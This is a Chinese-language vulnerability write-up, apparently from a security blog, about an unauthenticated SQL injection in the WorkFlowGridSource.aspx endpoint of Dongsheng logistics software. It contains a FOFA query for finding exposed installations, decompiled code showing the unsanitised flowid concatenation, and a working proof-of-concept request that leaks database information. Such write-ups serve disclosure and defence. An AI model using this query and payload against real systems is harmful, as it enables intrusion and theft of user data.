东胜物流软件 WorkFlowGridSource.aspx SQL注入漏洞


漏洞简介

东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。东胜物流信息管理系统 WorkFlowGridSource.aspx 接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"

漏洞分析

根据 WorkFlowGridSource.aspx 的代码引用 DSWeb.WorkFlow.WorkFlowGridSource ,在dll中找到它的逻辑实现

protected void Page_Load(object sender, EventArgs e)
  {
    if (this.Session["USERID"] != null)
      this.strUserID = this.Session["USERID"].ToString();
    if (this.Request.QueryString["handle"] != null)
      this.strHandle = this.Request.QueryString["handle"].ToString();
    if (this.Request.QueryString["flowid"] != null)
      this.strWorkFlowID = this.Request.QueryString["flowid"].ToString();
......
    if (string.op_Equality(this.strHandle, "steplist") && this.strWorkFlowID != null)
      this.Response.Write(this.GetWorkFlowSteps(this.strWorkFlowID));

主要就是根据handle参数的值来进行处理不同的分支逻辑

当handle=steplist且flowid必须存在时,进入GetWorkFlowSteps方法

  public string GetWorkFlowSteps(string tempWorkFlowID)
  {
    DataTable table = new WorkFlowDA().GetDataSetBySql($"SELECT A.GID,A.STEPNO,A.NAME,A.DESCRIPTION,'查看条件',B.SHOWNAME as AUDITOR, CASE WHEN A.ISMUST = 1 THEN 1 ELSE 0 END as ISMUST, CASE WHEN A.ISLAST = 1 THEN 1 ELSE 0 END as ISLAST, CASE WHEN A.ISPARALLEL = 1 THEN 1 ELSE 0 END as ISPARALLEL,CASE WHEN A.ISDEPARTMENT = 1 THEN 1 ELSE 0 END as ISDEPARTMENT,(SELECT DEPTNAME FROM sys_dept WHERE GID = A.DEPARTMENTID) as DEPTNAME,  C.SHOWNAME as CREATEUSER, A.CREATETIME  FROM workflow_step as A LEFT JOIN [user] as B ON A.AUDITOR = B.GID LEFT JOIN [user] as C ON A.CREATEUSER = C.GID WHERE A.WORKFLOWID = '{tempWorkFlowID}' ORDER BY A.STEPNO ASC ").Tables[0];
    StringBuilder stringBuilder = new StringBuilder();

tempWorkFlowID参数(即flowid)的值被直接拼接在GetDataSetBySql语句里执行,全程无过滤或校验,导致SQL注入漏洞。

漏洞复现

GET /WorkFlow/WorkFlowGridSource.aspx?handle=steplist&flowid='-1/user-- HTTP/1.1
Host: dongsheng.mrxn.net

通过报错注入在响应里回显数据库版本信息。


手机扫码阅读

金和OA DailyTaskListInfo.aspx SQL注入漏洞

普华Powerpms FileBrowserPdf.ashx SQL注入漏洞

评 论